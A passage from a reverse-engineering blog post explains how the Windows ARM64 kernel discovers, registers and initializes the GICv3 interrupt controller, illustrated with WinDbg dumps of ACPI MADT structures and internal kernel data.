   InterruptProblemHvRetargetFailed = 0n37
   InterruptProblemDeferredErrorSetupFailed = 0n38
   InterruptProblemBadInterruptPartition = 0n39
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">nt!HalpGic3Discover</code> begins by enumerating the <a href="https://uefi.org/sites/default/files/resources/ACPI_Spec_6.6.pdf">Advanced Configuration and Power Interface (ACPI)</a> table named “APIC”. In order for there to less work for the hardware abstraction layer (HAL) Windows effectively requires that ARM64 systems which run Windows require ACPI.</p>

<p>ACPI is a specification which is used to allow hardware to <em>describe</em> the interfaces which are available for usage by software. ACPI is particularly relevant to us because it describes interrupt functionality on the system. After all, interrupts are not just a software construct - the actual computer chips have physical wiring used for many interrupt operations, as an example. As such, the ACPI interface exposes a series of <em>tables</em> which allow the OS to become enlightened about the actual hardware configuration of the machine - including the interrupt configuration.</p>

<p>The ACPI “APIC” table <em>really</em> <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/acpi-system-description-tables">refers to</a> the Multiple APIC Description Table, or MADT. Although APIC is the name used, as Intel-based systems have dominated for so long, the latest versions of ACPI (5.0 and beyond) have added descriptors for GIC - which is what ARM-based systems use (not APIC). The MADT, as we will refer to it, is responsible for describing the interrupt functionality of the system - specific describing the GIC and also GIC distributor (which we have previously mentioned).</p>

<p><img src="/images/arminterrupt-3.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">nt!ExtEnvGetAcpiTable</code>, in this case, returns a pointer to an <code class="language-plaintext highlighter-rouge">nt!_MAPIC</code> structure - which represents the MADT, and contains the following layout. You can <a href="https://uefi.org/sites/default/files/resources/ACPI_Spec_6.6.pdf">cross-reference</a> this layout with the latest ACPI specification from UEFI:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd&gt; dt nt!_MAPIC -r2
   +0x000 Header           : _DESCRIPTION_HEADER
      +0x000 Signature        : Uint4B
      +0x004 Length           : Uint4B
      +0x008 Revision         : UChar
      +0x009 Checksum         : UChar
      +0x00a OEMID            : [6] Char
      +0x010 OEMTableID       : [8] Char
      +0x018 OEMRevision      : Uint4B
      +0x01c CreatorID        : [4] Char
      +0x020 CreatorRev       : Uint4B
   +0x024 LocalAPICAddress : Uint4B
   +0x028 Flags            : Uint4B
   +0x02c APICTables       : [1] Uint4B
</code></pre></div></div>

<p><img src="/images/arminterrupt-4.png" alt="" /></p>

<p>The <code class="language-plaintext highlighter-rouge">APICTables</code> member of this structure corresponds to the <code class="language-plaintext highlighter-rouge">Interrupt Controller Structure[n]</code> outlined in the official ACPI specification - which refers to a list of interrupt controller structures available on the system.</p>

<p><img src="/images/arminterrupt-5.png" alt="" /></p>

<p>In this case the <code class="language-plaintext highlighter-rouge">nt!_MAPIC</code> structure acts as a <em>header</em> of sorts to describe all of the various interrupt structures which follow - all of which make up the interrupt functionality on the system. WinDbg provides a nice extension which allows us to easily parse-out what functionality is present:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kd&gt; !mapic @x0
MAPIC - HEADER - fffff7de4000e018
  Signature:               APIC
  Length:                  0x0000023c
  Revision:                0x04
  Checksum:                0xfe
  OEMID:                   VRTUAL
  OEMTableID:              MICROSFT
  OEMRevision:             0x00000001
  CreatorID:               MSFT
  CreatorRev:              0x00000001
MAPIC - BODY - fffff7de4000e03c
  Local APIC Address:      0xfee00000
  Flags:                   00000000
  GIC Distributor
    Reserved1:             0x0000
    Identifier:            0x00000000
    Controller Addr:       0x00000000ffff0000
    GSIV Base:             0x00000000
    Reserved2:             0x00000000
    Version:               0x00000003
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000001
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000effee000
    MPIDR:                 0x0000000000000000
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000002
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000f000e000
    MPIDR:                 0x0000000000000001
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000003
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000f002e000
    MPIDR:                 0x0000000000000002
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000004
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000f004e000
    MPIDR:                 0x0000000000000003
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000005
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000f006e000
    MPIDR:                 0x0000000000000004
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  Processor Local GIC
    Reserved:              0x0000
    Identifier:            0x00000000
    ACPI Processor ID:     0x00000006
    Flags:                 0x00000001
    Parking Proto Version: 0x00000000
    Perf Interrupt GSI:    0x00000017
    Parked Addr:           0x0000000000000000
    Controller Addr:       0x0000000000000000
    GICV:                  0x0000000000000000
    GICH:                  0x0000000000000000
    VGIC Maintenance Intr: 0x00000000
    GICR Base Addr:        0x00000000f008e000
    MPIDR:                 0x0000000000000005
   PowerEfficiencyClass:   0x00
   SPE overflow interrupt GSI (PMBIRQ):   0x00
      Processor is Enabled
  MSI Frame
    Reserved1:             0x0000
    Identifier:            0x00000001
    Physical Address:      0x00000000effe8000
    Flags:                 0x00000001
    SpiCount:              0x0024
    SpiBase:               0x039d
End of MAPIC.
</code></pre></div></div>

<p>We can see many structures are present here: the GIC distributor (of which there can only be), the “Processor Local GIC”, which refers to the per-CPU “interfaces” we mentioned earlier. My machine has 6 CPUs and 12 total cores (and we can see there are 6 here. These are represented by the “GIC CPU Interface (GICC) Structure” structure mentioned in the ACPI specification), per-CPU GIC redistributors (GIC Redistributor (GICR) Structure), and a single MSI (GIC MSI Frame Structure) interface.</p>

<p><code class="language-plaintext highlighter-rouge">nt!HalpGic3Discover</code> is then responsible for parsing all of the present interrupt structures and enlightening the kernel about what types of GIC features are supported (are LPIs supported, are Interrupt Translation Services required, how many enabled GIC CPU interfaces are there, and other items). <code class="language-plaintext highlighter-rouge">nt!HalpGic3Discover</code> receives a single parameter - a value from the <code class="language-plaintext highlighter-rouge">EXT_ENV</code> enumeration that denotes more information about the current operating environment - and is passed on down the initialization stack. In our case, for instance, the operating environment is that of <code class="language-plaintext highlighter-rouge">ExtEnvHvRoot</code> - because I am on a machine which has VBS enabled and, therefore, the Windows OS resides in the root partition. This means that the GIC needs to interact with the root partition. As we will see later, especially in the case of virtual interrupts, knowing the execution environment is important.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lkd&gt; dt nt!_EXT_ENV
   ExtEnvUnknown = 0n0
   ExtEnvNativeHal = 0n1
   ExtEnvHvRoot = 0n2
   ExtEnvHvGuest = 0n3
   ExtEnvHypervisor = 0n4
   ExtEnvSecureKernel = 0n5
</code></pre></div></div>

<p>As a point of contention, however, dynamic analysis is done in a VM, and so (obviously) the operating environment is that of a guest:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0: kd&gt; dx ((nt!_GIC3_DATA*)0xfffff7f440000a10)-&gt;ExtEnv
((nt!_GIC3_DATA*)0xfffff7f440000a10)-&gt;ExtEnv : ExtEnvHvGuest (3) [Type: _EXT_ENV]
</code></pre></div></div>

<p>On success, the GIC distributor is then <em>validated</em> via <code class="language-plaintext highlighter-rouge">nt!Gic3ValidateIoUnit</code>. As mentioned the single GIC distributor is where all interrupt sources are wired to. This is a very important structure. On Windows, the <code class="language-plaintext highlighter-rouge">nt!_GIC_DISTRIBUTOR</code> structure represents the GIC distributor.</p>

<p><img src="/images/arminterrupt-6.png" alt="" /></p>

<p>The GIC distributor structure defined by Windows is used to <em>describe</em> the GIC distributor. However, the GIC distributor is actually mapped into <em>physical</em> memory and is accessed on Windows by the <code class="language-plaintext highlighter-rouge">ControllerPhysicalAddress</code> member of the <code class="language-plaintext highlighter-rouge">nt!_GIC_DISTRIBUTOR</code> structure. This address has a layout of the <em>actual</em> GIC distributor described by ARM <a href="https://developer.arm.com/documentation/100336/0102/programmers-model/distributor-registers--gicd-gicda--summary">here</a>. This structure, which is not in the Windows symbols (I manually added it into IDA) fills out the rest of the “enlightened” data of the kernel - including the number of supported security states, if LPIs are supported (<em>supported</em> - not in use), extended SPI support, and a last GIC version check.</p>

<p><img src="/images/arminterrupt-7.png" alt="" /></p>

<p>After the GIC is validated by the Windows kernel, the actual interrupt controller is <em>registered</em> with Windows. This is done through the <code class="language-plaintext highlighter-rouge">nt!HalpGic3RegisterIoUnit</code> function. This function is responsible for filling out the information which is used to construct the list of registered interrupt controllers on the system. On the machine this analysis was performed on, there was only one registered interrupt controller. This is achieved by filling out an <code class="language-plaintext highlighter-rouge">nt!_REGISTERED_INTERRUPT_CONTROLLER</code> structure and adding it to the doubly-linked list of interrupt controllers, managed by the <code class="language-plaintext highlighter-rouge">nt!HalpRegisteredInterruptControllers</code> symbol, and also incrementing the count of <code class="language-plaintext highlighter-rouge">nt!HalpInterruptControllerCount</code>. Using WinDbg we can actually parse the entire linked list (which contains only one link) to view the contents of the registered interrupt controller.</p>

<p><img src="/images/arminterrupt-8.png" alt="" /></p>

<p>Here we can see, and it should be no suprise, that the <code class="language-plaintext highlighter-rouge">KnownType</code> is set to <code class="language-plaintext highlighter-rouge">InterruptControllerGicV3</code> - which seems to indicate that we are looking at the correct structure. This is how Windows goes from interrupt functionality discovery to actually registering an interrupt controller with the OS, from what is available from hardware.  The registered interrupt controller also contains a list of functions (represented by the <code class="language-plaintext highlighter-rouge">nt!_INTERRUPT_FUNCTION_TABLE</code> structure) which a list of functions which allow further configuration of the interrupt controller and/or interaction from the HAL. These are <em>not</em> the “interrupt handler” functions.</p>

<p><img src="/images/arminterrupt-9.png" alt="" /></p>

<p>After the controller is registered, it has still not been <em>initialized</em> completely. First, the GIC version is preserved (<code class="language-plaintext highlighter-rouge">nt!HalpInterruptGicVersion</code>). Next, before each of the interrupt controllers (in our case, just one) is actually fully-initialized, many of the crucial and low-level interrupt handlers, like the CPU’s SGI (e.g., inter-processor interrupt, via <code class="language-plaintext highlighter-rouge">KiIpiServiceRoutine</code>), the reboot service (<code class="language-plaintext highlighter-rouge">nt!HalpInterruptRebootService</code>), etc. are registered via <code class="language-plaintext highlighter-rouge">nt!HalpCreateInterrupt</code>. <code class="language-plaintext highlighter-rouge">nt!HalpCreateInterrupt</code> is responsible for allocating an interrupt object (<code class="language-plaintext highlighter-rouge">nt!_KINTERRUPT</code>) - which represents a particular type of interrupt and allows the OS/software to register a particular <em>interrupt service routine</em> (<code class="language-plaintext highlighter-rouge">KINTERRUPT-&gt;ServiceRoutine</code>). <code class="language-plaintext highlighter-rouge">nt!KeInitializeInterruptEx</code> is responsible for filling out the majority of the <code class="language-plaintext highlighter-rouge">nt!_KINTERRUPT</code> object, including passing parameters from <code class="language-plaintext highlighter-rouge">nt!HalpCreateInterrupt</code> - such as the <code class="language-plaintext highlighter-rouge">ServiceRoutine</code>, <code class="language-plaintext highlighter-rouge">Vector</code> (more on this in a little bit, but there is a maximum value of <code class="language-plaintext highlighter-rouge">0xFFF</code>), and <code class="language-plaintext highlighter-rouge">Irql</code> (IRQL the CPU will be when the interrupt occurs).</p>

<p><img src="/images/arminterrupt-10.png" alt="" /></p>

<p>After the various interrupt objects (we still have not called <code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeController</code>) are created they are then <em>connected</em> to the IDT via <code class="language-plaintext highlighter-rouge">nt!KiConnectInterruptInternal</code>.</p>

<p>The first thing that <code class="language-plaintext highlighter-rouge">nt!KiConnectInterruptInternal</code> (on Windows on ARM) does is perform some basic validation. The target interrupt to connect cannot have a vector number greater than 4095 (more on this later), the IRQL associated with the target interrupt cannot be higher than <code class="language-plaintext highlighter-rouge">HIGH_LEVEL</code>, ensure the <code class="language-plaintext highlighter-rouge">Number</code> member of the <code class="language-plaintext highlighter-rouge">KINTERRUPT</code> object is valid (this is <em>not</em> the interrupt number, but is instead the target CPU number for which the interrupt has been initialized for), and ensure that the <code class="language-plaintext highlighter-rouge">SynchronizationIrql</code> associated with the interrupt object (the IRQL at which the lock stored in the interrupt object itself is acquired) is valid.</p>

<p>After basic validation, the kernel will index the <em>per-CPU</em> IDT via <code class="language-plaintext highlighter-rouge">KPCR-&gt;Idt</code> (via <code class="language-plaintext highlighter-rouge">nt!KiGetIdtEntry</code>) to locate the target location where the interrupt object we want to connect to the IDT will reside (notice we do <em>not</em> use <code class="language-plaintext highlighter-rouge">KPCR-&gt;IdtBase</code>, which is the related field on x64. This field does not exist on ARM64). This will store the first 16 interrupts which are registered. Anything over the first 16 will be stored in the extended IDT (<code class="language-plaintext highlighter-rouge">KPCR-&gt;IdtExt</code>).</p>

<p><img src="/images/arminterrupt-11.png" alt="" /></p>

<p>For example, the SGI/IPI interrupt is registered through a call to <code class="language-plaintext highlighter-rouge">nt!HalpCreateInterrupt</code> with the following parameters:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HalpCreateInterrupt</span><span class="p">(</span><span class="n">KiIpiServiceRoutine</span><span class="p">,</span>
                    <span class="mh">0xE01</span><span class="p">,</span>
                    <span class="mh">0xE</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">0xE01</code> represents the <code class="language-plaintext highlighter-rouge">KINTERRUPT.Vector</code> interrupt object value. This can be seen below.</p>

<p><img src="/images/arminterrupt-12.png" alt="" /></p>

<p>This means that in our case <code class="language-plaintext highlighter-rouge">nt!KiGetIdtEntry</code> would index the first “regular” IDT (<code class="language-plaintext highlighter-rouge">KPCR-&gt;Idt</code>), because the lower nibble is less than the maximum value of 16. There is some difference, however, with how a particular IDT entry is accessed between x64 and ARM64 (the CPU does not know about the IDT layout via the IDTR, for example, since a generic interrupt controller is being used). We will talk more on this in the section on interrupt dispatching and handling. In addition, although the variable here is named <code class="language-plaintext highlighter-rouge">VectorIndex</code> this is not <em>entirely</em> true. This value contains more than just a vector index. This can be seen by how this value is accessed in software:</p>

<ol>
  <li>Extracting the upper byte of <code class="language-plaintext highlighter-rouge">KINTERRUPT.Vector</code> (<code class="language-plaintext highlighter-rouge">0xE0</code>)</li>
  <li>Adding the lower nibble to the remaining value.</li>
</ol>

<p>In our example, <code class="language-plaintext highlighter-rouge">0xE01</code> becomes <code class="language-plaintext highlighter-rouge">0xE1</code>. This is the index into the IDT for the target interrupt. This is where, into the IDT, the actual interrupt object is written.</p>

<p><img src="/images/arminterrupt-13.png" alt="" /></p>

<p>As a side note, the value of the vector seems to be a effectively a masking of the target IRQL for the interrupt and the actual index into the IDT. So <code class="language-plaintext highlighter-rouge">0xE01</code> has an IRQL of <code class="language-plaintext highlighter-rouge">0xE</code>, etc. - with one exception, which I am unsure of why at the current moment - and that is the interrupt associated with rebooting. For an unknown reason this interrupt object (<code class="language-plaintext highlighter-rouge">nt!HalpInterruptRebootService</code>) has a vector of <code class="language-plaintext highlighter-rouge">0xd07</code> and an actual IRQL of <code class="language-plaintext highlighter-rouge">0x7</code>.</p>

<p><img src="/images/arminterrupt-14.png" alt="" /></p>

<p><img src="/images/arminterrupt-15.png" alt="" /></p>

<p>It would seem that there can be, in this case, 16 IRQLs (as there is on Windows on ARM) and each of these IRQLs can have 16 associated interrupts - for a total of 256 interrupts. This makes sense, as technically the IDT array in the processor control region (<code class="language-plaintext highlighter-rouge">nt!_KPCR</code>) is technically a hardcoded 256-element array!</p>

<p><img src="/images/arminterrupt-16.png" alt="" /></p>

<p>As an aside, on my current ARM machine, the “lowest” IRQL with a registered interrupt is that of <code class="language-plaintext highlighter-rouge">0x2</code>, or <code class="language-plaintext highlighter-rouge">DISPATCH_LEVEL</code>. The service routine for this interrupt is <code class="language-plaintext highlighter-rouge">nt!HalpInterruptSwServiceRoutine</code> - which seems to indicate this is the <em>software</em> interrupt service routine (which is a wrapper to the <em>real</em> function, <code class="language-plaintext highlighter-rouge">nt!KiSwInterruptDispatch</code> - which is famous for being associated with <a href="https://hackmd.io/@Wane/BymwoGa5ee?utm_source=preview-mode&amp;utm_medium=rec">PatchGuard</a> and is also present in the x64 IDT. It does not seem to be an <em>actual</em> interrupt handler, but more present as a “security-by-obscurity” feature).</p>

<p><img src="/images/arminterrupt-17.png" alt="" /></p>

<p><img src="/images/arminterrupt-18.png" alt="" /></p>

<p>Once the initial interrupt objects have been connected to the software-representation of the interrupt controller (<code class="language-plaintext highlighter-rouge">nt!HalpRegisteredInterruptControllers</code>) a call to <code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeController</code> occurs - which performs much of the lower-level interrupt initialization logic. This effectively begins by forwarding the in-scope registered interrupt controller to <code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeLocalUnit</code>.</p>

<p><code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeLocalUnit</code> begins by checking if the <a href="https://developer.arm.com/documentation/ddi0601/2025-09/AArch64-Registers/DAIF--Interrupt-Mask-Bits"><code class="language-plaintext highlighter-rouge">DAIF</code></a> system register has <code class="language-plaintext highlighter-rouge">DAIF.I</code> set - which indicates the status of whether or not IRQ exceptions are masked. This is another way of checking if interrupts will be received by the current exception level. On my current machine, at this stage in the system initialization, both FIQs and IRQs are masked. <em>If</em>, for whatever reason, IRQs and FIQs were not masked (effectively “temporarily disabled”) this function would set <code class="language-plaintext highlighter-rouge">DAIFSet</code> to a mask of <code class="language-plaintext highlighter-rouge">0b11</code> - which allows writing to the <code class="language-plaintext highlighter-rouge">DAIF</code> system register.</p>

<p><img src="/images/arminterrupt-19.png" alt="" /></p>

<p>After interrupts are temporarily disabled, <code class="language-plaintext highlighter-rouge">nt!HalpInterruptInitializeLocalUnit</code> will invoke <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code>. <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code> is one of the registered functions with the registered interrupt controller (<code class="language-plaintext highlighter-rouge">REGISTERED_INTERRUPT_CONTROLLER.FunctionTable[InitializeLocalUnit]</code>). <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code> accepts an argument to the registered controllers <em>internal data</em> (<code class="language-plaintext highlighter-rouge">REGISTERED_INTERRUPT_CONTROLLER.InternalData</code>). The internal data is filled out in <code class="language-plaintext highlighter-rouge">nt!HalpGic3RegisterIoUnit</code> and, after construction, the internal data is stored in the global variable <code class="language-plaintext highlighter-rouge">nt!HalpGic3</code>. This internal data is accessible as a <code class="language-plaintext highlighter-rouge">GIC3_DATA</code> structure - which is in the symbols. The internal data uses an <code class="language-plaintext highlighter-rouge">ANYSIZE_ARRAY</code> pattern to also store N-number of <code class="language-plaintext highlighter-rouge">GIC3_LOCALUNIT_INFO</code> structures after the internal internal data itself - with N referring to the amount of CPUs on the current machine.</p>

<p><img src="/images/arminterrupt-20.png" alt="" /></p>

<p><img src="/images/arminterrupt-21.png" alt="" /></p>

<p>Some items of interest worth calling out in the <code class="language-plaintext highlighter-rouge">GIC3_DATA</code> structure, which provide an additional layer of abstraction. Most other data is pretty self-explanatory:</p>
<ol>
  <li><code class="language-plaintext highlighter-rouge">IoUnitBase</code> = the <em>physical</em> address of the GIC Distributor</li>
  <li><code class="language-plaintext highlighter-rouge">IoUnit</code> - the mapped <em>virtual</em> address of the GIC Distributor</li>
  <li><code class="language-plaintext highlighter-rouge">GsiBase</code> - From the ACPI spec - this is the Global System Interrupt (GSI) base value. Effectively the base number of the wired interrupt numbers available. 1:1 mapping to AMR’s INTIDs</li>
  <li><code class="language-plaintext highlighter-rouge">Identifier</code> - the GIC Distributor’s hardware ID</li>
</ol>

<p><code class="language-plaintext highlighter-rouge">nt!Halp3Gic3InitializeLocalUnit</code> begins by locating the target CPU’s <em>local unit info</em> - represented by the <code class="language-plaintext highlighter-rouge">_GIC3_LOCALUNIT_INFO</code> structure, as previously mentioned. If the local CPU interface has not been initialized, it is then configured. The local unit is the representation of the local CPU’s interrupt schema - including redistributor and CPU interface information. The ACPI’s interrupt table is parsed for the redistributor and CPU interface structures. From these structure the physical address of the redistributor is mapped into virtual memory, various trigger modes are extracted (performance and maintenance interrupts are denoted as either level-sensitive or edge-sensitive. Edge-sensitive means an interrupt is only “received” when there is an actual <em>change</em> in the physical interrupt line (e.g., 0 -&gt; 1, such as voltage goes down from up or up from down). Level-sensitive means that an interrupt is received/reported when the interrupt line is asserted (the line is “set to 1” if we are over-simplifying) <em>regardless</em> of if this was a change from the previous state). Additionally, the <code class="language-plaintext highlighter-rouge">MPIDR_EL1</code> system register, the Multiprocessor Affinity Register, is preserved - which is the register that contains identifying information about a target processor (effectively a unique processor identifier, with much more granular information like cluster ID in a cluster of processors - which are a grouping of processors used to share resources/etc.). In this case all of the “non-identifier” bits (bits in the register that denote metadata, usch as indication of a uniprocessor system) are cleared and the <em>affinity</em> bits are used to identify the CPU (affinity level 0, 1, 2, 3)</p>

<p><img src="/images/arminterrupt-22.png" alt="" /></p>

<p><img src="/images/arminterrupt-23.png" alt="" /></p>

<p>Finally, the redistributor is mapped into virtual memory (with the size of the mapping being represented by <code class="language-plaintext highlighter-rouge">HalpGic3RedistMapSize</code>, which is computed in <code class="language-plaintext highlighter-rouge">nt!HalpGic3RegisterIoUnit</code>). This marks the local unit as initialized (<code class="language-plaintext highlighter-rouge">GIC3_LOCALUNIT_INFO-&gt;Initialized = 1</code>).</p>

<p><img src="/images/arminterrupt-24.png" alt="" /></p>

<p>Next, the appropriate <em>Interrupt Controller System Register Enable</em>, or <code class="language-plaintext highlighter-rouge">ICC_SRE_ELX</code> register is read. It is worth calling out some nuance here. <code class="language-plaintext highlighter-rouge">ICC_XXX</code> actually <em>replaces</em> <code class="language-plaintext highlighter-rouge">GICC_XXX</code> in our case. <code class="language-plaintext highlighter-rouge">GICC_XXX</code> refers to <em>legacy</em> registers. In GICv3, according to the documentation, the physical CPU interface registers are prefixed with <code class="language-plaintext highlighter-rouge">ICC</code> and the virtual CPU interface registers are prefixed with <code class="language-plaintext highlighter-rouge">ICV</code> <em>instead</em> of <code class="language-plaintext highlighter-rouge">GICV</code>. This is why in Windows, for example, you will only see writes to the <code class="language-plaintext highlighter-rouge">ICC_XXX</code> system registers.</p>

<p>The kernel will always set bit <code class="language-plaintext highlighter-rouge">1</code>, if it is not already set. This is the <code class="language-plaintext highlighter-rouge">ICC_SRE_ELX.SRE</code> bit - which denotes if the memory-mapped interface or system register interface should be used to interface with the GIC CPU interface for the target CPU. By setting the value to <code class="language-plaintext highlighter-rouge">1</code>, this indicates that the system register interface will be used (as the GIC documentation also states that system registers must be used when affinity routing is in-use for all enabled security states. It is worth calling out some items, like the GIC distributor, are <em>always</em> memory-mapped).</p>

<p><img src="/images/arminterrupt-25.png" alt="" /></p>

<p>The kernel then disables group 1 interrupts for the time being (there are only 2 groups, <a href="https://developer.arm.com/documentation/102418/0102/System-architecture/Handling-interrupts">group 0 is for interrupts handled EL3</a>, so group 1 is for all other interrupts in the current exception and security level. Remember that Windows does not use the traditional security levels, as it already uses VTLs to separate “secure and non-secure worlds”), sets the interrupt priority filter to <code class="language-plaintext highlighter-rouge">0</code> (meaning the CPU will accept interrupts with a priority higher than <code class="language-plaintext highlighter-rouge">0</code>. <code class="language-plaintext highlighter-rouge">0</code> is the highest value, so this effectively means only the interrupts higher than a priority of <code class="language-plaintext highlighter-rouge">0</code> can be let through. Given that <code class="language-plaintext highlighter-rouge">0</code> is the highest priority, as the lower the number the higher the priority, this also helps to disable interrupts until the local unit is configured), and also sets the <a href="https://developer.arm.com/documentation/101433/0102/Register-descriptions/Generic-Interrupt-Controller-registers/ICC-BPR1-EL1--Interrupt-Controller-Binary-Point-Register-1--EL1">interrupt controller binary point register</a> for EL1 to a value of <code class="language-plaintext highlighter-rouge">3</code> - which is the minimum value needed.</p>

<p>At this point it is probably worth briefly mentioning interrupt grouping. Interrupt grouping allows the GIC to group interrupts based on a set of characteristics - specifically aligned to the ARM security and exception model. Interrupt grouping groups interrupts by security state (non-secure and secure worlds) and exception level. It is also worth calling out that Windows only uses group 1 interrupts and specifically <em>only</em> in the non-secure state. This can be confirmed by <a href="https://developer.arm.com/documentation/ddi0601/2025-09/External-Registers/GICD-CTLR--Distributor-Control-Register">reading the</a> <code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrpXXX</code> values from the GIC distributor - which describes what groups of interrupts are enabled. This can also be further confirmed by parsing <code class="language-plaintext highlighter-rouge">ntoskrnl.exe</code> and <code class="language-plaintext highlighter-rouge">hvaa64.exe</code> (Hyper-V) for a lack of writes to the system regiseters <code class="language-plaintext highlighter-rouge">ICC_IAR0_EL1</code>, <code class="language-plaintext highlighter-rouge">ICC_EOIR0_EL</code>, etc. where <code class="language-plaintext highlighter-rouge">0</code> refers to group 0 - which are the interrupts associated with interrupts being handled at EL3, which is the “bridge” between non-secure and secure worlds.</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrp0</code> = 0</li>
  <li><code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrp1NS</code> = 1 (Non-Secure)</li>
  <li><code class="language-plaintext highlighter-rouge">GICD_CTLR.EnableGrp1S</code> = 0 (Secure)</li>
</ol>

<p><img src="/images/arminterrupt-26.png" alt="" /></p>

<p>Moving on, <code class="language-plaintext highlighter-rouge">nt!HalpGic3InitializeLocalUnit</code> then proceeds to fill out some additional GIC redistributor information in the <code class="language-plaintext highlighter-rouge">GIC3_LOCALUNIT_INFO</code> structure. First, information of interest from the LPI configuration table, which is tracked by the in-scope CPU’s GIC redstributor, is added to the “internal data” we have been examining so far (tracked via <code class="language-plaintext highlighter-rouge">nt!HalpGic3</code>). This is achieved by accessing the <a href="https://developer.arm.com/documentation/ddi0601/2025-09/External-Registers/GICR-PROPBASER--Redistributor-Properties-Base-Address-Register"><code class="language-plaintext highlighter-rouge">GICR_PROPBASER</code></a> register from the GIC redistributor - which specifies the LPI configuration table.</p>

<p>The <code class="language-plaintext highlighter-rouge">LpiConfig</code> member of the <code class="language-plaintext highlighter-rouge">GIC3_DATA</code> structure, of type <code class="language-plaintext highlighter-rouge">LPI_CONFIG_TABLE_ENTRY</code>, maintains the <em>virtual</em> address of target CPU’s LPI table (and all other LPI configuration tables). Note that the redistributor’s format is <a href="https://developer.arm.com/documentation/100336/0102/programmers-model/redistributor-registers-for-control-and-physical-lpis-summary">documented</a> by ARM, and is <em>not</em> part of the Windows symbols.</p>

<p><img src="/images/arminterrupt-27.png" alt="" /></p>

<p>Next the LPI <em>pending</em> table is mapped into virtual memory and this time is tracked this time through the local unit’s structure (<code class="language-plaintext highlighter-rouge">GIC3_LOCALUNIT_INFO</code>) as the <code class="language-plaintext highlighter-rouge">PendingTable</code> member. This is achieved by accessing the <code class="language-plaintext highlighter-rouge">GICR_PENDBASER</code> register from the GIC redistributor’s memory-mapped interface. In addition, the global GIC data structure (<code class="language-plaintext highlighter-rouge">nt!HalpGic3</code>) that represents, in virtual memory, the state of the GIC updates the per-CPU <em>crash dump</em> information. The pending LPI table is also added to the crash dump information.</p>

<p><img src="/images/arminterrupt-28.png" alt="" /></p>

<p>One thing to call out - it should be noted that starting at an offset of <code class="language-plaintext highlighter-rouge">0x10000</code> (64KB) <em>after</em> the GIC redistributor registers (which contains <code class="language-plaintext highlighter-rouge">GICR_CTLR</code>, etc.) comes the GIC redistributor registers responsible for configuring SGIs and PPIs. They are <a href="https://developer.arm.com/documentation/100336/0102/programmers-model/redistributor-registers-for-sgis-and-ppis-summary?lang=en">also</a> documented by ARM. This is also called out in the GIC documentation:</p>

<blockquote>
  <p>Each Redistributor defines two 64KB frames in the physical address map:</p>
  <ul>
    <li>RD_base for controlling the overall behavior of the Redistributor, for controlling LPIs, and for generating
LPIs in a system that does not include at least one ITS.</li>
    <li>SGI_base for controlling and generating PPIs and SGIs.</li>
  </ul>
</blockquote>

